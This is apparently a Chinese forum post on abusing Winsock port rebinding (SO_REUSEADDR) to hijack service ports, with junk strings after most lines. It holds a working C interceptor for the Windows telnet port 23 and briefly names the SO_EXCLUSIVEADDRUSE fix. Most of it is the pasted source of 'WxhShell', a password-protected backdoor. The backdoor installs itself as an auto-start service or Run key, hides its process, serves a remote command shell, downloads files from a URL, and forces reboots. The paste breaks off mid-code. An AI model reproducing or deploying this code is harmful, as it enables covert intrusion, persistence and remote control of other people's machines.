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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Sgi`&;PF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B|m)V9A%-  
&J 3QO%  
  saddr.sin_family = AF_INET; 3RaduN]  
AR [m+E  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xO|r<R7d7  
D, ")n75  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9,?~dx  
O,r;-t4vYU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 p!pf2}6Fd  
X.b8qbnq[  
  这意味着什么?意味着可以进行如下的攻击: Ll]5u~  
OHndZ$'fI  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4\n ~  
>ai,6!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *L^W[o  
Da-Lf2qT9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x?L[*N_ml  
FJ3S  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  eIvZhi  
phy}Hk/  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 av'm$I|O  
qHk{5O3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w~@"r#-  
sT?{  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 e"hfeNphz  
Uj5-x%~  
  #include QP\9#D~  
  #include gWr7^u&q@|  
  #include /"X_{3dq?  
  #include    x0# Bc7y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   cQEUHhRg!  
  int main() FI^Wh7J  
  { CV0id&Nv  
  WORD wVersionRequested; Lap?L/NS  
  DWORD ret; %Y&48''"  
  WSADATA wsaData; Bt<)1_  
  BOOL val; S)U*1t7[  
  SOCKADDR_IN saddr; UyRy>:n  
  SOCKADDR_IN scaddr; lsax.uG5x  
  int err; CzBYH   
  SOCKET s; 7eCj p  
  SOCKET sc; O h@z<1eYZ  
  int caddsize; 'C5id7O&  
  HANDLE mt; h7#\]2U$[5  
  DWORD tid;   T?RY~GA  
  wVersionRequested = MAKEWORD( 2, 2 ); m}l);P^  
  err = WSAStartup( wVersionRequested, &wsaData ); <D |&)/#  
  if ( err != 0 ) { %RD\Sb4YV  
  printf("error!WSAStartup failed!\n"); w'TAM"D`  
  return -1; :|bL2T@>[  
  } vm@V5oH  
  saddr.sin_family = AF_INET; YYT;a$GTo  
   M86"J:\u]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p)SW(pS  
rn-bfzoDS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NO~G4PUM0C  
  saddr.sin_port = htons(23); p4P=T@:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X,49(-~\  
  { 5|rBb[  
  printf("error!socket failed!\n"); 9G[ DuYJI  
  return -1; h~#iGs  
  } #&.Znk:@.f  
  val = TRUE; Ll KO(Q{"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4 {M   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5{HF'1XgZ*  
  { JRB6T_U  
  printf("error!setsockopt failed!\n"); ]$g07 7o  
  return -1; v-#,@&Uwq  
  } )+L|<6JXA  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  Gsh9D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3S3 a|_+%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +<Gp >c  
MnD}i&k[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5'set?  
  { |&4A"2QN  
  ret=GetLastError(); cq[9#@ 4=  
  printf("error!bind failed!\n"); {YiMd oMhg  
  return -1; jj`#;Y  
  } Ovx *  
  listen(s,2); li[[AAWVm  
  while(1) p<r^{y  
  { M+:5gMB'  
  caddsize = sizeof(scaddr); d dgDq0N1j  
  //接受连接请求 }F]Z1('  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); at?I @By  
  if(sc!=INVALID_SOCKET) r:sa|+  
  { HVa D  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @K <Onh`  
  if(mt==NULL) /Q st :q  
  { xuUEJ a&  
  printf("Thread Creat Failed!\n"); ~Z5AImR|  
  break; Bv7FZK3  
  } o%'1=d3R1Q  
  } YXp\C"~g  
  CloseHandle(mt); vN(~}gOd\  
  } frcX'M}%  
  closesocket(s); K3mP6Z#2  
  WSACleanup(); ! \s}A7  
  return 0; a &tWMxBr  
  }   IFBt#]l0  
  DWORD WINAPI ClientThread(LPVOID lpParam) (wL$ h5SG  
  { u0#KBXRo  
  SOCKET ss = (SOCKET)lpParam; ( K[e=0Rf  
  SOCKET sc; t0f7dU3e;L  
  unsigned char buf[4096]; n1; a~0P  
  SOCKADDR_IN saddr; bf/6AY7  
  long num; J299 mgB  
  DWORD val; ,Mw93Kp Va  
  DWORD ret; WdOxwsq"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i1x4$}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *w;?&)8%  
  saddr.sin_family = AF_INET; S }`f&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 79 4UY  
  saddr.sin_port = htons(23); K1X-<5]{  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D zD5n  
  { .iV=ybMT  
  printf("error!socket failed!\n"); ovN3.0tAI  
  return -1; HsYzIQLL  
  } rd&d~R6  
  val = 100; $W|JQ h  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s=)W  
  { qcO~}MJr}^  
  ret = GetLastError(); gE#|eiu  
  return -1; #r9\.NA!  
  } "iEnsP@'Wg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X_'tgP9  
  { I'IFBVhaYn  
  ret = GetLastError(); GDCp@%xW  
  return -1; ;#zteqn  
  } 4Yvz-aSyO  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c9c]1XJ  
  { #jBmWaP.  
  printf("error!socket connect failed!\n"); ?8$`GyjS  
  closesocket(sc);  @N '_qu  
  closesocket(ss); >e;jGk?-  
  return -1; jS]Saqd  
  } h<LS`$PK;E  
  while(1) Zsapu1HoL\  
  { 97 SS0J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5@l5exuG*m  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #CLjQJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s2L]H  
  num = recv(ss,buf,4096,0); 5 v.&|[\k  
  if(num>0)  pF6u3]  
  send(sc,buf,num,0); o;wSG81  
  else if(num==0) o.r D  
  break; J jZB!Lg=  
  num = recv(sc,buf,4096,0); Otu?J_d3  
  if(num>0) `=;}I@]zj)  
  send(ss,buf,num,0); r]LP=K1  
  else if(num==0) *-*V>ntvT$  
  break; nZ=[6?  
  } RCfeIHL  
  closesocket(ss); >A{e,&  
  closesocket(sc); Z?S?O#FED  
  return 0 ; kj2qX9 Ms  
  }  R<1%Gdz  
*[cCY!+Qy  
$|Ol?s  
========================================================== +h-% {  
d>#',C#;  
下边附上一个代码,,WXhSHELL *b~8`O pa`  
8r>\scS  
========================================================== >7@,,~3  
#SHJ0+)o  
#include "stdafx.h" ta.Lq8/  
KiG19R$  
#include <stdio.h> 3_G0eIE"u  
#include <string.h> i<m) s$u  
#include <windows.h> dSjO 12b  
#include <winsock2.h> t0cS.hi  
#include <winsvc.h> sh,4n{+  
#include <urlmon.h> 'r=2f6G>cP  
W8`6O2  
#pragma comment (lib, "Ws2_32.lib") hwk] ;6[  
#pragma comment (lib, "urlmon.lib") >4bw4 Z1  
X`<z5W] !  
#define MAX_USER   100 // 最大客户端连接数 7 `~0j6FY  
#define BUF_SOCK   200 // sock buffer _ LgP  
#define KEY_BUFF   255 // 输入 buffer v@G&";|  
"&XhMw4  
#define REBOOT     0   // 重启 (8~mf$ zx,  
#define SHUTDOWN   1   // 关机 V*JqC  
uUS~"\`fk  
#define DEF_PORT   5000 // 监听端口 ;R&W#Q7>3  
|63uoRr  
#define REG_LEN     16   // 注册表键长度 OS%[SHs  
#define SVC_LEN     80   // NT服务名长度 5fs,UH  
Xqe Qj}2kA  
// 从dll定义API N (\n$bpTt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "< Di  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k"7ZA>5jk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CUTjRWQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q2oo\  
8MW-JZ  
// wxhshell配置信息 UazK0{t<f  
struct WSCFG { 4T52vM  
  int ws_port;         // 监听端口 )Dms9:  
  char ws_passstr[REG_LEN]; // 口令 KiMlbF.~V  
  int ws_autoins;       // 安装标记, 1=yes 0=no *eD[[HbKX  
  char ws_regname[REG_LEN]; // 注册表键名 l %zbx"%x  
  char ws_svcname[REG_LEN]; // 服务名 iiuT:r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rVhfj~Ts  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (e_p8[x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VxOWv8}|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gs0 jwI  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1Cc91  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 i \Yd_  
%q r,Ssa/  
}; 5mVO9Q j  
YG?4DF  
// default Wxhshell configuration &B :L9^  
struct WSCFG wscfg={DEF_PORT, [+5g 9tBJ  
    "xuhuanlingzhe", lO9Ixhf~iu  
    1, H!FaI(YZl  
    "Wxhshell", V*?QZ;hCP  
    "Wxhshell", Mx0~^l  
            "WxhShell Service", \ eba9i^  
    "Wrsky Windows CmdShell Service", vnf2Z,f%  
    "Please Input Your Password: ", ?~sNu k  
  1, Qhe<(<^J,  
  "http://www.wrsky.com/wxhshell.exe", IuFr:3(  
  "Wxhshell.exe" TUGD!b{  
    }; 82)=#ye_P  
X?ZLmP7|  
// 消息定义模块 US's`Ehx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *>2FcoN;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _lT'nFe =Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X%99@qv  
char *msg_ws_ext="\n\rExit."; Nz"K`C>/  
char *msg_ws_end="\n\rQuit."; p4\sKF8-  
char *msg_ws_boot="\n\rReboot..."; y] 9/Xr/  
char *msg_ws_poff="\n\rShutdown..."; uDcs2^2l  
char *msg_ws_down="\n\rSave to "; 9;n*u9<  
1W.oRD&8j/  
char *msg_ws_err="\n\rErr!"; ~T9QpL1OJ  
char *msg_ws_ok="\n\rOK!"; q|klsup  
kwww5p ["  
char ExeFile[MAX_PATH]; 8)s0$64Ra  
int nUser = 0; TWRnty-C  
HANDLE handles[MAX_USER]; Wd+kjI\  
int OsIsNt; WAuT`^"u  
c|'$3dB*  
SERVICE_STATUS       serviceStatus; ,QA=)~;D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; KDf#e3  
K}n.k[Do  
// 函数声明 K5<2jl3S  
int Install(void); it>Bf;  
int Uninstall(void); y% !.:7Y  
int DownloadFile(char *sURL, SOCKET wsh); $zhvI*0  
int Boot(int flag); 3z#> 1HD$  
void HideProc(void); ut]&3f''  
int GetOsVer(void); iBWEZw)  
int Wxhshell(SOCKET wsl); ME)='~E  
void TalkWithClient(void *cs); W! |_ hL  
int CmdShell(SOCKET sock); fMHw=wJQ  
int StartFromService(void); HdY#cVxy  
int StartWxhshell(LPSTR lpCmdLine); b{<$OVc  
8Bc2?NI=   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UH7?JF-D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %y_pF?2@q  
W7.RA>  
// 数据结构和表定义 @qWClr{`  
SERVICE_TABLE_ENTRY DispatchTable[] = ~ e<,GUx(]  
{ V3|" v4  
{wscfg.ws_svcname, NTServiceMain}, Zy)iNNtn  
{NULL, NULL} T1?9E{bC8A  
}; xIb{*)BUwc  
<JXHg, Q  
// 自我安装 &{#6Z  
int Install(void) 5yJ~ q  
{ J?E!\V&U  
  char svExeFile[MAX_PATH]; ^%6f%]_  
  HKEY key; QYj 4D  
  strcpy(svExeFile,ExeFile); sVnq|[ /  
W<O/LHKHdn  
// 如果是win9x系统,修改注册表设为自启动 <Vh5`-J  
if(!OsIsNt) { <Nloh+n=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vy7?]}MvV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wsR\qq  
  RegCloseKey(key); -4 L27C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,DCUBD u&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c8_,S[W  
  RegCloseKey(key); T gLr4Ex  
  return 0; ?!c7Zx,(  
    } MCXt,`}[  
  } 8{%&P%vf  
} E+ XR[p  
else { 7bVKH[  
u#V;  
// 如果是NT以上系统,安装为系统服务 gH"a MEC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zT!.5qd  
if (schSCManager!=0) V sL*&Fk  
{ )$pqe|,  
  SC_HANDLE schService = CreateService OzH\YN  
  ( PVN`k, 4  
  schSCManager, tp ky  
  wscfg.ws_svcname, E=bZ4 /  
  wscfg.ws_svcdisp, ={p<|8`"  
  SERVICE_ALL_ACCESS, bx7hQzoX=b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .G<Or`K^i  
  SERVICE_AUTO_START, l;h -`( 11  
  SERVICE_ERROR_NORMAL, \f]w'qiW5  
  svExeFile, nkN2Bqt$  
  NULL, C(KV5c  
  NULL, D51O/.:U2  
  NULL, <8h3)$  
  NULL, XCez5Q1  
  NULL plzwk>b_  
  ); hO$29_^"  
  if (schService!=0) , d HAD  
  { "HJQAy?W  
  CloseServiceHandle(schService); R&'Mze fb  
  CloseServiceHandle(schSCManager); tPw7zFy6r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mEb`ET|  
  strcat(svExeFile,wscfg.ws_svcname); i!<(R$ Lo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 11!4#z6w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a6d|Ps.\!  
  RegCloseKey(key); f?@M"p@T  
  return 0;  ?f5||^7  
    } .Rb4zLYL*w  
  } '&]6(+I>  
  CloseServiceHandle(schSCManager); d%!yFix;<  
} J|z' <W  
} x;4m@)Mu  
%yR 80mn8  
return 1; YR)^F|G  
} :X1Y  
N>@.(f&w  
// 自我卸载 vMJC  
int Uninstall(void) ((BdT:T\_  
{ COH.`Tv{*  
  HKEY key; #S|On[Q!  
[eDRghK  
if(!OsIsNt) { g)<[-Q1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /pGx !  
  RegDeleteValue(key,wscfg.ws_regname); i-sm9K'ns  
  RegCloseKey(key); k6;pi=sYNW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $7Tj<;TV  
  RegDeleteValue(key,wscfg.ws_regname); @3I?T Q1  
  RegCloseKey(key); 4LJOT_  
  return 0; a=[|"J<M  
  } 1u* (=!  
} X(]J\?n'  
} On@p5YRwW  
else { {#+'T13sx  
,(+ZD@Rg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s21)*d  
if (schSCManager!=0) 2%pe.s tQ  
{ `ih#>i_ &  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); '?E@H.""  
  if (schService!=0) *m 6*sIR  
  { n8&x=Z}Xs  
  if(DeleteService(schService)!=0) { ~}G#ys\1  
  CloseServiceHandle(schService); 6x@]b>W  
  CloseServiceHandle(schSCManager); c[?&;# feV  
  return 0; od3b,Q  
  } fa/p  
  CloseServiceHandle(schService); JNA_*3 '  
  } ;|CG9|p  
  CloseServiceHandle(schSCManager); <@v|~ AO4~  
} ><)fK5x  
} ?bG82@-  
j2#B l  
return 1; z9zo5Xc=  
} lF$$~G  
p"n3JV.~k+  
// 从指定url下载文件 m&Y?]nbq  
int DownloadFile(char *sURL, SOCKET wsh) w`Rt"d_B  
{ tQ2S*]"f  
  HRESULT hr; W6yz/{Rf  
char seps[]= "/"; / DS T|2  
char *token; y$?O0S%F  
char *file; t3.I ` Z  
char myURL[MAX_PATH]; i32S(3se  
char myFILE[MAX_PATH]; rT{ 2  
CyJZip  
strcpy(myURL,sURL); T"Nnl(cO_  
  token=strtok(myURL,seps); xQzXl  
  while(token!=NULL) .zdmUS :  
  { wV{VV?h}  
    file=token; \j vS`+  
  token=strtok(NULL,seps); 3,@|kN<  
  } Z ^yn S  
`6G:<wX  
GetCurrentDirectory(MAX_PATH,myFILE); l{3ZN"`I  
strcat(myFILE, "\\"); jTok1k  
strcat(myFILE, file); l @r`NFWD@  
  send(wsh,myFILE,strlen(myFILE),0); RgVg~?A@  
send(wsh,"...",3,0); '/F~vSQsR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jx];=IC3tt  
  if(hr==S_OK) %U&ztvR0C  
return 0; StMvz~  
else )B Xl|V,  
return 1; 5R#:ALwX:  
No w2ad&  
} I]N!cEr;@-  
J2$ =H1-  
// 系统电源模块 2ZQ|nwb7  
int Boot(int flag) { *Wc`ZBY  
{ S!~p/bB[+I  
  HANDLE hToken; 5{M$m&$1  
  TOKEN_PRIVILEGES tkp; S2 YxA  
']vMOGG  
  if(OsIsNt) { d|$-l:(J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +PHuQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rj;~SC{  
    tkp.PrivilegeCount = 1; `AELe_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8"x\kSMb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h,2?+}Fn  
if(flag==REBOOT) { 1.z !u%2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qkg([q4  
  return 0; $s5D/60nO  
} <D(|}5qR  
else { ~fly6j|u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ltmD=-]G_  
  return 0; q62U+o9G  
} d>1#|  
  } 7e<\11uI]a  
  else { v7D3aWoe  
if(flag==REBOOT) { KKJa?e`C  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ~ouRDO  
  return 0; vXc gl  
} 4ak} "Z  
else { 3_c4+u"6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [[8h*[:  
  return 0; wEbO|S+K1  
} ]"\XTL0  
} VDPq3`$+v{  
Wi!$bL`l  
return 1; P, SI0$Z  
} 1s#GY<<  
C<iOa)_@Q  
// win9x进程隐藏模块 { :_qa|  
void HideProc(void) C~VyM1inD  
{ 6T A2  
5lakP?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &Zm1(k6&K  
  if ( hKernel != NULL ) /)xQ# yfX  
  { 'lR f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #'h(o/hz&&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %v1*D^))  
    FreeLibrary(hKernel); yg@}j   
  } M9sB2Ips<  
K/XUF#^B]  
return; 3x~AaC.j  
} 15`,kJSK  
}zV#?;}  
// 获取操作系统版本 3})0p  
int GetOsVer(void) k.w}}78N2N  
{ m?D k(DJ  
  OSVERSIONINFO winfo; Xw9"wAj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @NJJ  
  GetVersionEx(&winfo); ` oXL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jh.e&6  
  return 1; 1"HSM =p  
  else sh8(+hg  
  return 0; T1~,.(#  
} u=p-]?  
kn7Qvk[+  
// 客户端句柄模块 H.: [# a  
int Wxhshell(SOCKET wsl) m3iB`  
{ {Ng HH]]O  
  SOCKET wsh; ZlsdO.G  
  struct sockaddr_in client; ~m@w p  
  DWORD myID;  .)XJ-  
.FAuM~_99b  
  while(nUser<MAX_USER) 6dX l ny1H  
{ h2Jdcr#@FF  
  int nSize=sizeof(client); DYvg^b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4xNzhnp|  
  if(wsh==INVALID_SOCKET) return 1; 7_ah1IEK  
h\$juIQa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9]TvL h3  
if(handles[nUser]==0) "t)|N dZm  
  closesocket(wsh); ;X2(G  
else J*CfG;Y:  
  nUser++; 5mYI5~ p  
  } wa4(tM2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]gGCy '*)  
$5m_)]w4a  
  return 0; jF%[.n[BU  
} LC:bHM, e  
M 4TFWOC1  
// 关闭 socket W&(98}oT  
void CloseIt(SOCKET wsh) rSfvHO:R  
{ -,#LTW<.  
closesocket(wsh); A4uDuB;;ZQ  
nUser--; ,\ RxKSU  
ExitThread(0); E8.xmTq  
} #5.L%F  
:,(ZMx\  
// 客户端请求句柄 d[.JEgU  
void TalkWithClient(void *cs) (KxL*gB  
{ 0Ku%9wh-  
HR83{B21  
  SOCKET wsh=(SOCKET)cs; ePJtdKN:  
  char pwd[SVC_LEN]; s%R'c_cGZ  
  char cmd[KEY_BUFF]; ~h*p A8^L  
char chr[1]; xiPP&$mg  
int i,j; g"Z X1X  
+~A<&7[}  
  while (nUser < MAX_USER) { #%i-{t+_>  
b,#E.%SLw  
if(wscfg.ws_passstr) { N~An}QX|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8QGj:3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |.Pl[y  
  //ZeroMemory(pwd,KEY_BUFF); 'qg q8  
      i=0; mjqVP.  
  while(i<SVC_LEN) { /RmHG H!  
_}B:SM  
  // 设置超时 R?Or=W)i  
  fd_set FdRead; kDG'5X;+  
  struct timeval TimeOut; MrA&xM  
  FD_ZERO(&FdRead); Uwqm?]  
  FD_SET(wsh,&FdRead); a/wkc*}}/  
  TimeOut.tv_sec=8; \o j#*aL^  
  TimeOut.tv_usec=0; (g@e=m7Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zz4A,XrD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @pD']=d}t  
Bu$GCSrX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :K6(`J3Y"^  
  pwd=chr[0]; 5PQs1B  
  if(chr[0]==0xd || chr[0]==0xa) { =Jx,.|Bf  
  pwd=0; E*Q><UU  
  break; zoV-@<Eh  
  } L. xzI-I@D  
  i++; \k|ZbCWg  
    } ,{{uRs/  
F W# S.<  
  // 如果是非法用户,关闭 socket :oH"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GBZx@B[TY  
} =R^V[zTn_  
?_F,HhQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0F<O \  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o?J>mpC  
ZC1U  
while(1) { iM Xl}3  
nV0"q|0K;  
  ZeroMemory(cmd,KEY_BUFF); {Z_Pry$6  
I/s?] v  
      // 自动支持客户端 telnet标准   /.\$%bua  
  j=0; 66%#$WH#  
  while(j<KEY_BUFF) {  F%6`D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); imtW[y+4  
  cmd[j]=chr[0]; |^ml|cb  
  if(chr[0]==0xa || chr[0]==0xd) { T@]vjXd![  
  cmd[j]=0; (r^IW{IndX  
  break;  /y,~?  
  } g'`J'6Pn  
  j++; )]%GNdU  
    } k:w\4Oqd  
q*ZjOqj  
  // 下载文件 1!/ U#d"  
  if(strstr(cmd,"http://")) { AX%9k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :!1B6Mc  
  if(DownloadFile(cmd,wsh)) yVxR||e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]*^mT&$7  
  else 5|-(Ic  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h@z(yB j:0  
  } U"xI1fg%b  
  else { Z8=4cWI~;  
[j5 ^Zb&0  
    switch(cmd[0]) { V&_5q`L  
  I@ch 5vl4  
  // 帮助 kvdzD6T 9  
  case '?': { 'lv\I9"S)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {nbD5 ?   
    break; E YUr.#:  
  } #TUsi,jG  
  // 安装 ~ S R:,R  
  case 'i': { XQk9 U  
    if(Install()) 0X)'8N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %+G/oF |  
    else S{z%Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1C=}4^Pu  
    break; r&\}E+  
    } +gOCl*L  
  // 卸载 *kxk@(lT?  
  case 'r': { 6yF4%Sz9  
    if(Uninstall()) "_C^Bc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yi7-[W}  
    else HqU"i Y>b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3;j?i<kM  
    break; }_M .-Xm  
    } A{;b^ IK  
  // 显示 wxhshell 所在路径 3u7E?*{sH  
  case 'p': { -Tk~c1I#`  
    char svExeFile[MAX_PATH]; ha'oLm#  
    strcpy(svExeFile,"\n\r"); @yB!?x  
      strcat(svExeFile,ExeFile); g B<p  
        send(wsh,svExeFile,strlen(svExeFile),0); -^;G^Uq6=  
    break; )j@k[}R#g  
    } }{Lf 4|8  
  // 重启 -b(:kAwStk  
  case 'b': { [/*85 4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K I$?0O  
    if(Boot(REBOOT)) |zvxKIW;wd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y3$' gu|  
    else { P,~a'_w:|D  
    closesocket(wsh); qEf )TW(  
    ExitThread(0); PF!Q2t5c3  
    } f b_tda",}  
    break; eF}Q8]da  
    } X<(h)&E  
  // 关机 i2$U##-ro]  
  case 'd': { d Z"bc]z{  
